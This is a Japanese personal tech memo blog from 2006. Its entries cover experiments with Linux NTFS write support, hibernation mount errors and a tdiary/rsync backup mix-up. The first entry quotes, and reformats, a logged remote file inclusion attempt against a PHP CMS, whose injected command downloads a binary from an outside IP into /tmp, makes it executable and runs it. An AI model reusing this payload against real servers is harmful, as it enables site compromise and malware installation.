僕の備忘録(PC、UN*X、ネットワーク関連が中心)なんです。
自分の書いたところは適当(な時とか)に書き換えますので御了承を。
SERVER 61.19.121.46 - - [11/Jan/2006:21:06:24 +090\ 0] "GET /index2.php?option=com_content&do_pdf=1&id\ =1index2.php?_REQUEST[option]=com_content&_REQUEST\ [Itemid]=1&GLOBALS=&mosConfig_absolute_path=http:/\ /209.136.48.69/cmd.gif?&cmd=cd /tmp;wget 209.1\ 36.48.69/micu;chmod 744 micu;./micu;echo YYY\ ;echo| HTTP\x01.1" 400 299
適当に改行などしてみる。
GET /index2.php? option=com_content&do_pdf=1&id=1index2.php? _REQUEST[option]=com_content&_REQUEST[Itemid]=1& GLOBALS=&mosConfig_absolute_path= http://209.136.48.69/cmd.gif?& cmd=cd /tmp; wget 209.136.48.69/micu; chmod 744 micu; ./micu; echo YYY; echo| HTTP\x01.1
デスクトップに入れてみた。
一応動いている事だけ確認。
なんと、NTFSのファイル編集が可能になっていた!
(新規作成は無理だったが、ファイルサイズの伸縮はOK)
$ grep NTFS /usr/src/linux/.config CONFIG_NTFS_FS=m CONFIG_NTFS_DEBUG=y CONFIG_NTFS_RW=y
もう少しいらう。dd if=/dev/urandom of=/mnt/win/hoge.txt とか を何度かやってみる。
少し大きなデータだと書き込みが完了しなかったりする。
なんか100MBあたりを繰り返すと怪しくなってくるようだ。
なんでだろうなぁ。
My Documents# ls -l key.txt.txt -rw------- 2 root root 209715200 Jan 12\ 17:29 hoge.txt My Documents# dd if=/dev/urandom \ of=hoge.txt \ bs=1MB count=200 dd: writing `hoge.txt': Operation not supported 71+0 records in 70+0 records ou My Documents# ls -l key.txt.txt -rw------- 2 root root 73400320 Jan 12\ 17:31 hoge.txt # tail -n2 /var/log/syslog Jan 12 17:31:55 cel2g kernel: NTFS-fs error (devic\ e hda1): ntfs_attr_extend_allocation(): Not enough\ space in the mft record for the extended attribut\ e record. This case is not implemented yet. Jan 12 17:31:55 cel2g kernel: NTFS-fs error (devic\ e hda1): ntfs_file_buffered_write(): Cannot perfor\ m write to inode 0x4d3f, attribute type 0x80, beca\ use extending the allocation failed (error code -9\ 5)
ノートにも2.6.15を入れてしまった。ついでに接続相手の ない無線LANも。
しかし、休止状態だかスタンバイだかではリードオンリーに なるっぽい。
Jan 12 20:16:05 HOST kernel: NTFS-fs error (device\ hda1): load_system_files(): $LogFile is not clean\ . Mounting read-only. Mount in Windows. Jan 12 20:16:05 HOST kernel: NTFS-fs warning (devi\ ce hda1): load_system_files(): Windows is hibernat\ ed. Will not be able to remount read-write. Run \ chkdsk.
一旦WinXPを起動させ、普通に終了してからLinuxに
切り替えると、デスクトップ同様書き込めるようになった。
マウントオプションは -o nls=utf8 が良いようだ。
でtdiaryを起動したrubyが暴走してしまう っぽい。
rsyncでweb鯖からバックアップしていたが、ブラウザで作成していた
鯖側の$HOME/diary/tdiary.confがバックアップしたホストに吸われて
rubyを混乱させた模様である(消すと直った)。
さしあたりrsyncの--exclodeにtdiary.confを追記しておく。
↑ちょっと書式が崩れてたので直す。それだけ。
リンクはご自由にどうぞ。でもURLや内容が変った場合はあしからず。